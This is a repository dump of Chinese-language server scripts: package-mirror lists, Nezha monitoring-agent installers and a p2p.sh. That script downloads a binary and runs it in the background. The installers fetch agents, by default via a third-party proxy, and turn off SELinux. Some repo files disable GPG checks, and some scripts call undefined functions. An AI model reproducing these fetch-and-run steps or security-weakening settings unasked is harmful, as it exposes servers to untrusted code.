├── APT
├── Centos
├── Centos-7.repo
├── README.md
├── debian10
├── debian11
├── debian12
├── debian8
├── debian9
├── epel-7.repo
├── install_agent.sh
├── nezha.sh
├── p2p.sh
├── p2pclient
├── ubuntu18.04
└── ubuntu20
├── LocaleCN
├── LICENSE
├── LocaleCN.sh
├── README.md
├── after.png
├── before.png
├── locale.conf
└── locale.gen
├── README.md
├── adg
├── README.md
└── hosts.txt
├── aws
├── README.md
└── aws_cli.sh
├── caddy
├── README.md
└── proxy.sh
├── cfworkers
├── 429.html
├── README.md
├── cf5s_under_attack.html
└── proxy.js
├── chfs
├── README.md
└── chfs
├── docker
├── anyconnect
│ ├── install.sh
│ └── run.sh
├── install.sh
├── yotter
│ ├── docker-compose.yml
│ └── yotter-config.json
└── zfaka
│ └── run.sh
├── drfytgybhunjoimkol
├── LinuxPanel-7.4.3.zip
├── LinuxPanel-7.6.0.zip
├── LinuxPanel-7.7.0.zip
├── README.md
├── awsserver.sh
├── daoker.sh
├── data.zip
├── gjstystrystryh.sh
├── ip_ssl.sh
├── llm-config.json
├── llm-install.sh
├── mysql.sh
├── newdtrfgyuhjihgujsrtjk.sh
├── newdtrfgyuhjihgujsrtjksssss.sh
├── ngx_http_waf_module.so
├── node.js
├── npool
│ ├── npool_amd64_latest
│ └── upgrade_auto.sh
├── p2p.sh
├── p2p_az.sh
├── plugin.json
├── proxysell.sh
├── public.sh
├── random_usage.sh
├── schedule_random.sh
├── shsrtyartsfjgksdtyuj.sh
├── testx.sh
├── waf.sh
├── wahahah.sh
├── wk.sh
├── wk2024-2.sh
├── wk2024-gr.sh
├── wk3.sh
├── wk_2.sh
├── wkzp.sh
├── www.sh
└── 下载.jpg
├── install_ssh.sh
├── ipfs
└── README.md
├── mirror-pip.sh
├── ms
├── README.md
├── address.txt
├── chrome.sh
├── name.txt
└── onelist.sh
├── nginx
├── 5s.html
├── install.sh
├── install_nginx.sh
├── nginx-debian
├── nginx.conf
├── nginx.service
└── nginx.zip
├── oneindex
├── base.php
└── token.php
├── onemail
├── app.py
└── smtp.py
├── php
├── README.md
└── php7.4
│ └── install.sh
├── python
└── README.md
├── rclone
└── README.md
├── sniproxy
├── README.md
├── config.yaml
├── install.sh
├── make_install_go.sh
├── make_install_go_s.sh
├── sniproxy
├── sniproxy_s
└── v1_add_host.sh
├── static
└── icefox.js
├── suansuanru
├── IPv6_Check_Ver2.sh
├── README.md
├── apline
│ ├── README.md
│ ├── buildx-ui.sh
│ └── install.sh
├── changesomething.sh
├── gost_nat.sh
├── http_server.go
├── json
│ ├── kcp.json
│ ├── tcp.json
│ └── ws-https.json
├── lajiv2ray-install.sh
├── mtg.sh
├── nat.sh
├── ocserv.conf
├── ssrtls.sh
└── v2ray-ws-http.sh
├── tcping
├── README.md
├── TCP-PING
└── tcping.exe
├── tmpssh.sh
└── vvr
├── README.md
├── test.sh
├── v0
└── tcp_bbr.ko
├── v2
├── Makefile
├── Makefile-apline
└── src
│ ├── 4.x
│ └── tcp_bbr.c
│ ├── 5.x
│ ├── README.md
│ └── tcp_bbr.c
│ └── README.md
├── vvr.bash
├── vvr2-apline.sh
├── vvr2-cn.sh
└── vvrv2.sh
/APT/Centos:
--------------------------------------------------------------------------------
1 | 在ssh界面执行以下命令即可更换yum源为CentOS的Vault源(包括CentOS官方和阿里云的源):
2 |
3 | wget -O /etc/yum.repos.d/CentOS-Base.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/Centos-7.repo
4 | wget -O /etc/yum.repos.d/epel.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/epel-7.repo
5 | 或者
6 |
7 | curl -o /etc/yum.repos.d/CentOS-Base.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/Centos-7.repo
8 | curl -o /etc/yum.repos.d/epel.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/epel-7.repo
9 |
10 |
11 | 解决CentOS Stream 8停止更新后无法使用yum命令。
12 |
13 | 在ssh界面执行以下命令即可更换yum源为CentOS的Vault源:
14 |
15 |
16 |
17 | sed -i s/mirror.centos.org/vault.centos.org/g /etc/yum.repos.d/*.repo
18 | sed -i s/^#.*baseurl=http/baseurl=http/g /etc/yum.repos.d/*.repo
19 | sed -i s/^mirrorlist=http/#mirrorlist=http/g /etc/yum.repos.d/*.repo
20 |
21 |
--------------------------------------------------------------------------------
/APT/Centos-7.repo:
--------------------------------------------------------------------------------
1 | # CentOS-Base.repo
2 | #
3 | # The mirror system uses the connecting IP address of the client and the
4 | # update status of each mirror to pick mirrors that are updated to and
5 | # geographically close to the client. You should use this for CentOS updates
6 | # unless you are manually picking other mirrors.
7 | #
8 | # If the mirrorlist= does not work for you, as a fall back you can try the
9 | # remarked out baseurl= line instead.
10 | #
11 | #
12 |
13 | [base]
14 | name=CentOS-$releasever - Base
15 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
16 | baseurl=https://vault.centos.org/7.9.2009/os/$basearch/
17 | http://mirrors.aliyun.com/centos/$releasever/os/$basearch/
18 | http://mirrors.cloud.tencent.com/centos/$releasever/os/$basearch/
19 | gpgcheck=0
20 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
21 |
22 | #released updates
23 | [updates]
24 | name=CentOS-$releasever - Updates
25 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
26 | baseurl=https://vault.centos.org/7.9.2009/updates/$basearch/
27 | http://mirrors.aliyun.com/centos/$releasever/updates/$basearch/
28 | http://mirrors.cloud.tencent.com/centos/$releasever/updates/$basearch/
29 | gpgcheck=0
30 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
31 |
32 | #additional packages that may be useful
33 | [extras]
34 | name=CentOS-$releasever - Extras
35 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
36 | baseurl=https://vault.centos.org/7.9.2009/extras/$basearch/
37 | http://mirrors.aliyun.com/centos/$releasever/extras/$basearch/
38 | http://mirrors.cloud.tencent.com/centos/$releasever/extras/$basearch/
39 | gpgcheck=0
40 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
41 |
42 | #additional packages that extend functionality of existing packages
43 | [centosplus]
44 | name=CentOS-$releasever - Plus
45 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
46 | baseurl=https://vault.centos.org/7.9.2009/centosplus/$basearch/
47 | http://mirrors.aliyun.com/centos/$releasever/centosplus/$basearch/
48 | http://mirrors.cloud.tencent.com/centos/$releasever/centosplus/$basearch/
49 | gpgcheck=0
50 | enabled=0
51 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
52 |
--------------------------------------------------------------------------------
/APT/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # debian
4 | apt install apt-transport-https ca-certificates
5 | mv sources.list sources.list.b
6 | debian10: https://github.com/caippx/bash/blob/master/APT/debian10
7 | debian9: https://github.com/caippx/bash/blob/master/APT/debian9
8 | debian8: https://github.com/caippx/bash/blob/master/APT/debian8
9 |
10 | # ubuntu
11 | ubuntu18.04: https://github.com/caippx/bash/blob/master/APT/ubuntu18.04
12 |
13 |
--------------------------------------------------------------------------------
/APT/debian10:
--------------------------------------------------------------------------------
1 | DeBian 10国内源
2 | deb http://mirrors.aliyun.com/debian/ buster main non-free contrib
3 | deb http://mirrors.aliyun.com/debian-security buster/updates main
4 | deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
5 | deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
6 |
7 | deb-src http://mirrors.aliyun.com/debian-security buster/updates main
8 | deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib
9 | deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
10 | deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
11 |
12 | 清华源
13 | cat > /etc/apt/sources.list << EOF
14 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free
15 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free
16 |
17 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free
18 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free
19 |
20 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free
21 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free
22 |
23 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ buster-security main contrib non-free
24 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security/ buster-security main contrib non-free
25 | EOF
26 |
27 | 官方
28 | deb http://deb.debian.org/debian/ buster main non-free contrib
29 | deb http://deb.debian.org/debian-security buster/updates main
30 | deb http://deb.debian.org/debian/ buster-updates main non-free contrib
31 | deb http://deb.debian.org/debian/ buster-backports main non-free contrib
32 |
33 | deb-src http://deb.debian.org/debian-security buster/updates main
34 | deb-src http://deb.debian.org/debian/ buster main non-free contrib
35 | deb-src http://deb.debian.org/debian/ buster-updates main non-free contrib
36 | deb-src http://deb.debian.org/debian/ buster-backports main non-free contrib
37 |
--------------------------------------------------------------------------------
/APT/debian11:
--------------------------------------------------------------------------------
1 | DeBian 11国内源 无V6
2 | cat > /etc/apt/sources.list << EOF
3 | deb http://mirrors.aliyun.com/debian/ bullseye main non-free contrib
4 | deb http://mirrors.aliyun.com/debian-security bullseye/updates main
5 | deb http://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib
6 | deb http://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib
7 |
8 | deb-src http://mirrors.aliyun.com/debian-security bullseye/updates main
9 | deb-src http://mirrors.aliyun.com/debian/ bullseye main non-free contrib
10 | deb-src http://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib
11 | deb-src http://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib
12 | EOF
13 |
14 | 清华源
15 | cat > /etc/apt/sources.list << EOF
16 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free
17 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free
18 |
19 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free
20 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free
21 |
22 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free
23 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free
24 |
25 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bullseye-security main contrib non-free
26 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bullseye-security main contrib non-free
27 | EOF
28 |
29 |
30 | 官方
31 | cat > /etc/apt/sources.list << EOF
32 | deb https://deb.debian.org/debian/ bullseye main contrib non-free
33 | deb-src https://deb.debian.org/debian/ bullseye main contrib non-free
34 |
35 | deb https://deb.debian.org/debian/ bullseye-updates main contrib non-free
36 | deb-src https://deb.debian.org/debian/ bullseye-updates main contrib non-free
37 |
38 | deb https://deb.debian.org/debian/ bullseye-backports main contrib non-free
39 | deb-src https://deb.debian.org/debian/ bullseye-backports main contrib non-free
40 |
41 | deb https://deb.debian.org/debian-security/ bullseye-security main contrib non-free
42 | deb-src https://deb.debian.org/debian-security/ bullseye-security main contrib non-free
43 | EOF
44 |
--------------------------------------------------------------------------------
/APT/debian12:
--------------------------------------------------------------------------------
1 | DeBian 11国内源 无V6
2 | deb http://mirrors.aliyun.com/debian/ bookworm main non-free-firmware contrib
3 | deb http://mirrors.aliyun.com/debian-security bookworm/updates main
4 | deb http://mirrors.aliyun.com/debian/ bookworm-updates main non-free-firmware contrib
5 | deb http://mirrors.aliyun.com/debian/ bookworm-backports main non-free-firmware contrib
6 |
7 | deb-src http://mirrors.aliyun.com/debian-security bookworm/updates main
8 | deb-src http://mirrors.aliyun.com/debian/ bookworm main non-free-firmware contrib
9 | deb-src http://mirrors.aliyun.com/debian/ bookworm-updates main non-free-firmware contrib
10 | deb-src http://mirrors.aliyun.com/debian/ bookworm-backports main non-free-firmware contrib
11 |
12 | 清华源
13 | cat > /etc/apt/sources.list << EOF
14 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm main contrib non-free-firmware
15 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm main contrib non-free-firmware
16 |
17 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-updates main contrib non-free-firmware
18 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-updates main contrib non-free-firmware
19 |
20 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-backports main contrib non-free-firmware
21 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-backports main contrib non-free-firmware
22 |
23 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bookworm-security main contrib non-free-firmware
24 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bookworm-security main contrib non-free-firmware
25 | EOF
26 |
27 |
28 | cat > /etc/apt/sources.list << EOF
29 | deb https://deb.debian.org/debian/ bookworm main contrib non-free non-free-firmware
30 | deb-src https://deb.debian.org/debian/ bookworm main contrib non-free non-free-firmware
31 |
32 | deb https://deb.debian.org/debian/ bookworm-updates main contrib non-free non-free-firmware
33 | deb-src https://deb.debian.org/debian/ bookworm-updates main contrib non-free non-free-firmware
34 |
35 | deb https://deb.debian.org/debian/ bookworm-backports main contrib non-free non-free-firmware
36 | deb-src https://deb.debian.org/debian/ bookworm-backports main contrib non-free non-free-firmware
37 |
38 | deb https://deb.debian.org/debian-security/ bookworm-security main contrib non-free non-free-firmware
39 | deb-src https://deb.debian.org/debian-security/ bookworm-security main contrib non-free non-free-firmware
40 | EOF
41 |
--------------------------------------------------------------------------------
/APT/debian8:
--------------------------------------------------------------------------------
1 | # 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释
2 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie main contrib non-free
3 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie main contrib non-free
4 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-updates main contrib non-free
5 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-updates main contrib non-free
6 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-backports main contrib non-free
7 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-backports main contrib non-free
8 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security jessie/updates main contrib non-free
9 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security jessie/updates main contrib non-free
10 |
--------------------------------------------------------------------------------
/APT/debian9:
--------------------------------------------------------------------------------
1 | # 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释
2 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch main contrib non-free
3 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch main contrib non-free
4 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-updates main contrib non-free
5 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-updates main contrib non-free
6 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-backports main contrib non-free
7 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-backports main contrib non-free
8 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security stretch/updates main contrib non-free
9 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security stretch/updates main contrib non-free
10 |
11 |
12 | cat > /etc/apt/sources.list << EOF
13 | deb http://archive.debian.org/debian/ stretch main contrib non-free
14 | deb http://archive.debian.org/debian/ stretch-proposed-updates main contrib non-free
15 | deb http://archive.debian.org/debian-security stretch/updates main contrib non-free
16 | EOF
17 |
--------------------------------------------------------------------------------
/APT/epel-7.repo:
--------------------------------------------------------------------------------
1 | [epel]
2 | name=Extra Packages for Enterprise Linux 7 - $basearch
3 | #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch
4 | metalink=http://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch
5 | failovermethod=priority
6 | enabled=1
7 | gpgcheck=1
8 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7
9 |
10 | [epel-debuginfo]
11 | name=Extra Packages for Enterprise Linux 7 - $basearch - Debug
12 | #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug
13 | metalink=http://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch
14 | failovermethod=priority
15 | enabled=0
16 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7
17 | gpgcheck=1
18 |
19 | [epel-source]
20 | name=Extra Packages for Enterprise Linux 7 - $basearch - Source
21 | #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS
22 | metalink=http://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch
23 | failovermethod=priority
24 | enabled=0
25 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7
26 | gpgcheck=1
27 |
--------------------------------------------------------------------------------
/APT/install_agent.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #哪吒V0_
3 | # Copying by nezhahq/scriptgen. DO NOT EDIT
4 |
5 | NZ_BASE_PATH="/opt/nezha"
6 | NZ_AGENT_PATH="${NZ_BASE_PATH}/agent"
7 |
8 | pre(){
9 |
10 | umask 077
11 | ## os_arch
12 | if uname -m | grep -q 'x86_64'; then
13 | os_arch="amd64"
14 | elif uname -m | grep -q 'i386\|i686'; then
15 | os_arch="386"
16 | elif uname -m | grep -q 'aarch64\|armv8b\|armv8l'; then
17 | os_arch="arm64"
18 | elif uname -m | grep -q 'arm'; then
19 | os_arch="arm"
20 | elif uname -m | grep -q 's390x'; then
21 | os_arch="s390x"
22 | elif uname -m | grep -q 'riscv64'; then
23 | os_arch="riscv64"
24 | fi
25 | }
26 |
27 | install_base() {
28 | (command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1 && command -v unzip >/dev/null 2>&1 && command -v getenforce >/dev/null 2>&1) ||
29 | (install_soft curl wget unzip)
30 | }
31 | selinux() {
32 | #Check SELinux
33 | if command -v getenforce >/dev/null 2>&1; then
34 | if getenforce | grep '[Ee]nfor'; then
35 | echo "SELinux是开启状态,正在关闭!"
36 | sudo setenforce 0 >/dev/null 2>&1
37 | find_key="SELINUX="
38 | sudo sed -ri "/^$find_key/c${find_key}disabled" /etc/selinux/config
39 | fi
40 | fi
41 | }
42 |
43 | install_base
44 | selinux
45 | _version="v0.20.5"
46 | sudo mkdir -p $NZ_AGENT_PATH
47 | echo "正在下载监控端"
48 | printf "是否选用加速镜像完成安装? [Y/n] "
49 | read -r input
50 | case $input in
51 | [yY][eE][sS] | [yY])
52 | echo "使用加速镜像"
53 | CN=true
54 | ;;
55 | [nN][oO] | [nN])
56 | echo "不加速中国镜像"
57 | ;;
58 | esac
59 | if [ -z "$CN" ]; then
60 | NZ_AGENT_URL="https://ghproxy.11451185.xyz/github.com/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip"
61 | else
62 | NZ_AGENT_URL="https://${GITHUB_URL}/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip"
63 | fi
64 |
--------------------------------------------------------------------------------
/APT/nezha.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #哪吒V0_
3 | # Copying by nezhahq/scriptgen. DO NOT EDIT
4 |
5 | NZ_BASE_PATH="/opt/nezha"
6 | NZ_DASHBOARD_PATH="${NZ_BASE_PATH}/dashboard"
7 | NZ_AGENT_PATH="${NZ_BASE_PATH}/agent"
8 | NZ_DASHBOARD_SERVICE="/etc/systemd/system/nezha-dashboard.service"
9 | NZ_DASHBOARD_SERVICERC="/etc/init.d/nezha-dashboard"
10 | GITHUB_RAW_URL="raw.githubusercontent.com/nezhahq/scripts/v0"
11 | GITHUB_URL="github.com"
12 | Get_Docker_URL="get.docker.com"
13 | Get_Docker_Argu=" "
14 | Docker_IMG="ghcr.io\/naiba\/nezha-dashboard:v0.20.13"
15 |
16 | red='\033[0;31m'
17 | green='\033[0;32m'
18 | yellow='\033[0;33m'
19 | plain='\033[0m'
20 | export PATH="$PATH:/usr/local/bin"
21 |
22 | check_systemd() {
23 | if [ "$os_alpine" != 1 ] && ! command -v systemctl >/dev/null 2>&1; then
24 | echo "不支持此系统:未找到 systemctl 命令"
25 | exit 1
26 | fi
27 | }
28 |
29 | err() {
30 | printf "${red}%s${plain}\n" "$*" >&2
31 | }
32 |
33 | success() {
34 | printf "${green}%s${plain}\n" "$*"
35 | }
36 |
37 | info() {
38 | printf "${yellow}%s${plain}\n" "$*"
39 | }
40 |
41 |
42 | before_show_menu() {
43 | echo && info "* 按回车返回主菜单 *" && read temp
44 | show_menu
45 | }
46 |
47 |
48 | install_base() {
49 | (command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1 && command -v unzip >/dev/null 2>&1 && command -v getenforce >/dev/null 2>&1) ||
50 | (install_soft curl wget unzip)
51 | }
52 | install_soft() {
53 | (command -v yum >/dev/null 2>&1 && sudo yum makecache && sudo yum install "$@" selinux-policy -y) ||
54 | (command -v apt >/dev/null 2>&1 && sudo apt update && sudo apt install "$@" selinux-utils -y) ||
55 | (command -v pacman >/dev/null 2>&1 && sudo pacman -Syu "$@" base-devel --noconfirm && install_arch) ||
56 | (command -v apt-get >/dev/null 2>&1 && sudo apt-get update && sudo apt-get install "$@" selinux-utils -y) ||
57 | (command -v apk >/dev/null 2>&1 && sudo apk update && sudo apk add "$@" -f)
58 | }
59 |
60 |
61 | selinux() {
62 | #Check SELinux
63 | if command -v getenforce >/dev/null 2>&1; then
64 | if getenforce | grep '[Ee]nfor'; then
65 | echo "SELinux是开启状态,正在关闭!"
66 | sudo setenforce 0 >/dev/null 2>&1
67 | find_key="SELINUX="
68 | sudo sed -ri "/^$find_key/c${find_key}disabled" /etc/selinux/config
69 | fi
70 | fi
71 | }
72 |
73 | pre() {
74 | umask 077
75 | ## os_arch
76 | if uname -m | grep -q 'x86_64'; then
77 | os_arch="amd64"
78 | elif uname -m | grep -q 'i386\|i686'; then
79 | os_arch="386"
80 | elif uname -m | grep -q 'aarch64\|armv8b\|armv8l'; then
81 | os_arch="arm64"
82 | elif uname -m | grep -q 'arm'; then
83 | os_arch="arm"
84 | elif uname -m | grep -q 's390x'; then
85 | os_arch="s390x"
86 | elif uname -m | grep -q 'riscv64'; then
87 | os_arch="riscv64"
88 | fi
89 | }
90 |
91 | install_agent() {
92 | install_base
93 | selinux
94 | pre
95 |
96 | echo "> 安装监控Agent"
97 |
98 | # echo "正在获取监控Agent版本号"
99 |
100 | _version="v0.20.5"
101 | # Nezha Monitoring Folder
102 | sudo mkdir -p $NZ_AGENT_PATH
103 | echo "正在下载监控端"
104 | printf "是否选用加速镜像完成安装? [Y/n] "
105 | read -r input
106 | case $input in
107 | [yY][eE][sS] | [yY])
108 | echo "使用加速镜像"
109 | CN=true
110 | NZ_AGENT_URL="https://ghproxy.11451185.xyz/${GITHUB_URL}/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip"
111 | ;;
112 | [nN][oO] | [nN])
113 | echo "不加速中国镜像"
114 | NZ_AGENT_URL="https://${GITHUB_URL}/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip"
115 | ;;
116 | esac
117 |
118 | _cmd="wget -t 2 -T 60 -O nezha-agent_linux_${os_arch}.zip $NZ_AGENT_URL >/dev/null 2>&1"
119 | if ! eval "$_cmd"; then
120 | err "Release 下载失败,请检查本机能否连接 ${GITHUB_URL}"
121 | return 1
122 | fi
123 |
124 | sudo unzip -qo nezha-agent_linux_${os_arch}.zip &&
125 | sudo mv nezha-agent $NZ_AGENT_PATH &&
126 | sudo rm -rf nezha-agent_linux_${os_arch}.zip README.md
127 |
128 | if [ $# -ge 3 ]; then
129 | modify_agent_config "$@"
130 | else
131 | modify_agent_config 0
132 | fi
133 |
134 | if [ $# = 0 ]; then
135 | before_show_menu
136 | fi
137 | }
138 |
139 | modify_agent_config() {
140 | echo "> 修改 Agent 配置"
141 |
142 | if [ $# -lt 3 ]; then
143 | echo "请先在管理面板上添加Agent,记录下密钥"
144 | printf "请输入一个解析到面板所在IP的域名(不可套CDN): "
145 | read -r nz_grpc_host
146 | printf "请输入面板RPC端口 (默认值 5555): "
147 | read -r nz_grpc_port
148 | printf "请输入Agent 密钥: "
149 | read -r nz_client_secret
150 | printf "是否启用针对 gRPC 端口的 SSL/TLS加密 (--tls),需要请按 [y],默认是不需要,不理解用户可回车跳过: "
151 | read -r nz_grpc_proxy
152 | echo "${nz_grpc_proxy}" | grep -qiw 'Y' && args='--tls'
153 | if [ -z "$nz_grpc_host" ] || [ -z "$nz_client_secret" ]; then
154 | err "所有选项都不能为空"
155 | before_show_menu
156 | return 1
157 | fi
158 | if [ -z "$nz_grpc_port" ]; then
159 | nz_grpc_port=5555
160 | fi
161 | else
162 | nz_grpc_host=$1
163 | nz_grpc_port=$2
164 | nz_client_secret=$3
165 | shift 3
166 | if [ $# -gt 0 ]; then
167 | args="$*"
168 | fi
169 | fi
170 |
171 | _cmd="sudo ${NZ_AGENT_PATH}/nezha-agent service install -s $nz_grpc_host:$nz_grpc_port -p $nz_client_secret $args >/dev/null 2>&1"
172 |
173 | if ! eval "$_cmd"; then
174 | sudo "${NZ_AGENT_PATH}"/nezha-agent service uninstall >/dev/null 2>&1
175 | sudo "${NZ_AGENT_PATH}"/nezha-agent service install -s "$nz_grpc_host:$nz_grpc_port" -p "$nz_client_secret" "$args" >/dev/null 2>&1
176 | fi
177 |
178 | success "Agent 配置 修改成功,请稍等 Agent 重启生效"
179 |
180 | #if [[ $# == 0 ]]; then
181 | # before_show_menu
182 | #fi
183 | }
184 |
185 | show_agent_log() {
186 | echo "> 获取 Agent 日志"
187 |
188 | if [ "$os_alpine" != 1 ]; then
189 | sudo journalctl -xf -u nezha-agent.service
190 | else
191 | sudo tail -n 10 /var/log/nezha-agent.err
192 | fi
193 |
194 | if [ $# = 0 ]; then
195 | before_show_menu
196 | fi
197 | }
198 |
199 | uninstall_agent() {
200 | echo "> 卸载 Agent"
201 |
202 | sudo ${NZ_AGENT_PATH}/nezha-agent service uninstall
203 |
204 | sudo rm -rf $NZ_AGENT_PATH
205 | clean_all
206 |
207 | if [ $# = 0 ]; then
208 | before_show_menu
209 | fi
210 | }
211 |
212 | restart_agent() {
213 | echo "> 重启 Agent"
214 |
215 | sudo ${NZ_AGENT_PATH}/nezha-agent service restart
216 |
217 | if [ $# = 0 ]; then
218 | before_show_menu
219 | fi
220 | }
221 |
222 | clean_all() {
223 | if [ -z "$(ls -A ${NZ_BASE_PATH})" ]; then
224 | sudo rm -rf ${NZ_BASE_PATH}
225 | fi
226 | }
227 |
228 | show_menu() {
229 | printf "
230 | ${green}哪吒监控管理脚本 For v0${plain}
231 | --- https://github.com/naiba/nezha ---
232 | ${red}v0面板已停止维护,请及时升级至v1,详见https://nezha.wiki/${plain}
233 | ${green}1.${plain} 安装监控Agent
234 | ${green}2.${plain} 修改Agent配置
235 | ${green}3.${plain} 查看Agent日志
236 | ${green}4.${plain} 卸载Agent
237 | ${green}5.${plain} 重启Agent
238 | ————————————————-
239 | ${green}0.${plain} 退出脚本
240 | "
241 | echo && printf "请输入选择 [0-13]: " && read -r num
242 | case "${num}" in
243 | 0)
244 | exit 0
245 | ;;
246 | 1)
247 | install_agent
248 | ;;
249 | 2)
250 | modify_agent_config
251 | ;;
252 | 3)
253 | show_agent_log
254 | ;;
255 | 4)
256 | uninstall_agent
257 | ;;
258 | 5)
259 | restart_agent
260 | ;;
261 | *)
262 | err "请输入正确的数字 [0-13]"
263 | ;;
264 | esac
265 | }
266 |
267 |
268 | if [ $# -gt 0 ]; then
269 | case $1 in
270 | "install_agent")
271 | shift
272 | if [ $# -ge 3 ]; then
273 | install_agent "$@"
274 | else
275 | install_agent 0
276 | fi
277 | ;;
278 | "modify_agent_config")
279 | modify_agent_config 0
280 | ;;
281 | "show_agent_log")
282 | show_agent_log 0
283 | ;;
284 | "uninstall_agent")
285 | uninstall_agent 0
286 | ;;
287 | "restart_agent")
288 | restart_agent 0
289 | ;;
290 | *) show_usage ;;
291 | esac
292 | else
293 | select_version
294 | show_menu
295 | fi
296 |
--------------------------------------------------------------------------------
/APT/p2p.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | wget https://raw.githubusercontent.com/caippx/bash/master/APT/p2pclient
3 | chmod +x p2pclient
4 | nohup ./p2pclient -l admin@ppxwo.com >> /tmp/p2pclient.log 2>&1 &
5 |
--------------------------------------------------------------------------------
/APT/p2pclient:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/APT/p2pclient
--------------------------------------------------------------------------------
/APT/ubuntu18.04:
--------------------------------------------------------------------------------
1 | #Ubuntu18.04
2 | ----
3 | #中科大源
4 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
5 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
6 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
